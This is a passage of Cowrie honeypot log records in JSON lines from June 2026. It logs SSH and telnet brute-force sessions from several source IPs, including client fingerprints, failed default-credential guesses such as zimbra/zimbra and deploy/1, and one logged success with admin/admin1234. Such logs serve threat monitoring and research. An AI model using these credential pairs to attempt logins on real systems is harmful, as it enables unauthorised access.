h.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:23.480788Z","src_ip":"91.92.42.227","session":"5473b64961de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"root","message":"login attempt [teamspeak/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:24.279737Z","src_ip":"91.92.42.227","session":"5473b64961de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:24.475791Z","src_ip":"45.156.87.147","session":"6ac4cf164297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:25.528675Z","src_ip":"91.92.42.227","session":"5473b64961de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37974,"dst_ip":"10.17.0.5","dst_port":22,"session":"8eaa4292e3f5","protocol":"ssh","message":"New connection: 45.156.87.147:37974 (10.17.0.5:22) [session: 8eaa4292e3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:28.511572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:28.515119Z","src_ip":"45.156.87.147","session":"8eaa4292e3f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:28.595959Z","src_ip":"45.156.87.147","session":"8eaa4292e3f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"abc123","message":"login attempt [claude/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:28.893487Z","src_ip":"45.156.87.147","session":"8eaa4292e3f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:29.979417Z","src_ip":"45.156.87.147","session":"8eaa4292e3f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58982,"dst_ip":"10.17.0.5","dst_port":22,"session":"16ded8cb1271","protocol":"ssh","message":"New connection: 91.92.42.227:58982 (10.17.0.5:22) [session: 16ded8cb1271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:30.521017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:30.729660Z","src_ip":"91.92.42.227","session":"16ded8cb1271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:30.732074Z","src_ip":"91.92.42.227","session":"16ded8cb1271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:32.164443Z","src_ip":"91.92.42.227","session":"16ded8cb1271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:33.916951Z","src_ip":"91.92.42.227","session":"16ded8cb1271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40904,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4958d83d259","protocol":"ssh","message":"New connection: 45.156.87.147:40904 (10.17.0.5:22) [session: e4958d83d259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:34.361239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:34.364006Z","src_ip":"45.156.87.147","session":"e4958d83d259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:34.448268Z","src_ip":"45.156.87.147","session":"e4958d83d259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:34.691116Z","src_ip":"45.156.87.147","session":"e4958d83d259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:35.874326Z","src_ip":"45.156.87.147","session":"e4958d83d259","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":46798,"dst_ip":"159.203.135.109","dst_port":23,"session":"a99244be1deb","protocol":"telnet","message":"New connection: 103.249.87.183:46798 (159.203.135.109:23) [session: a99244be1deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:35.883539Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34026,"dst_ip":"10.17.0.5","dst_port":22,"session":"e18a33045454","protocol":"ssh","message":"New connection: 91.92.42.227:34026 (10.17.0.5:22) [session: e18a33045454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:37.103283Z"}
{"eventid":"cowrie.session.closed","duration":58.89196443557739,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:37.131941Z","src_ip":"128.199.8.54","session":"a946d4732590","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:37.813867Z","src_ip":"91.92.42.227","session":"e18a33045454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:37.818375Z","src_ip":"91.92.42.227","session":"e18a33045454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33442,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a81334a150d","protocol":"ssh","message":"New connection: 45.156.87.147:33442 (10.17.0.5:22) [session: 5a81334a150d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:39.959001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:39.964703Z","src_ip":"45.156.87.147","session":"5a81334a150d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:40.046089Z","src_ip":"45.156.87.147","session":"5a81334a150d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:40.069168Z","src_ip":"91.92.42.227","session":"e18a33045454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:40.302582Z","src_ip":"45.156.87.147","session":"5a81334a150d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":37758,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a7b0e904de6","protocol":"ssh","message":"New connection: 103.252.123.105:37758 (159.203.135.109:22) [session: 4a7b0e904de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:41.158840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:41.163178Z","src_ip":"103.252.123.105","session":"4a7b0e904de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:41.386859Z","src_ip":"45.156.87.147","session":"5a81334a150d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:41.390704Z","src_ip":"103.252.123.105","session":"4a7b0e904de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:41.720990Z","src_ip":"91.92.42.227","session":"e18a33045454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karta","password":"karta","message":"login attempt [karta/karta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:42.331687Z","src_ip":"103.252.123.105","session":"4a7b0e904de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:43.560930Z","src_ip":"103.252.123.105","session":"4a7b0e904de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34118,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a13238d0b2d","protocol":"ssh","message":"New connection: 91.92.42.227:34118 (10.17.0.5:22) [session: 8a13238d0b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:43.891113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:44.464730Z","src_ip":"91.92.42.227","session":"8a13238d0b2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:44.467328Z","src_ip":"91.92.42.227","session":"8a13238d0b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33450,"dst_ip":"10.17.0.5","dst_port":22,"session":"e94c3d60bdc8","protocol":"ssh","message":"New connection: 45.156.87.147:33450 (10.17.0.5:22) [session: e94c3d60bdc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:45.841961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:45.844877Z","src_ip":"45.156.87.147","session":"e94c3d60bdc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:45.925419Z","src_ip":"45.156.87.147","session":"e94c3d60bdc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"12345","message":"login attempt [system/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:46.171845Z","src_ip":"45.156.87.147","session":"e94c3d60bdc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:47.255045Z","src_ip":"45.156.87.147","session":"e94c3d60bdc8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:47.323099Z","src_ip":"91.92.42.227","session":"8a13238d0b2d","protocol":"ssh"}
